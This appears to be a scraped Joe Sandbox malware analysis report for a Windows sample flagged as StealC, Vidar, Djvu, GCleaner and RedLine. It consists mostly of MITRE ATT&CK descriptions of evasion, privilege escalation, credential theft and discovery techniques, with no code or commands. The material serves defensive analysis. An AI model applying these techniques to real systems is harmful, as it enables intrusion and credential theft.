Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Djvu

Threatname: GCleaner

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Windows Media Player\background.jpg

Windows Analysis Report
SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre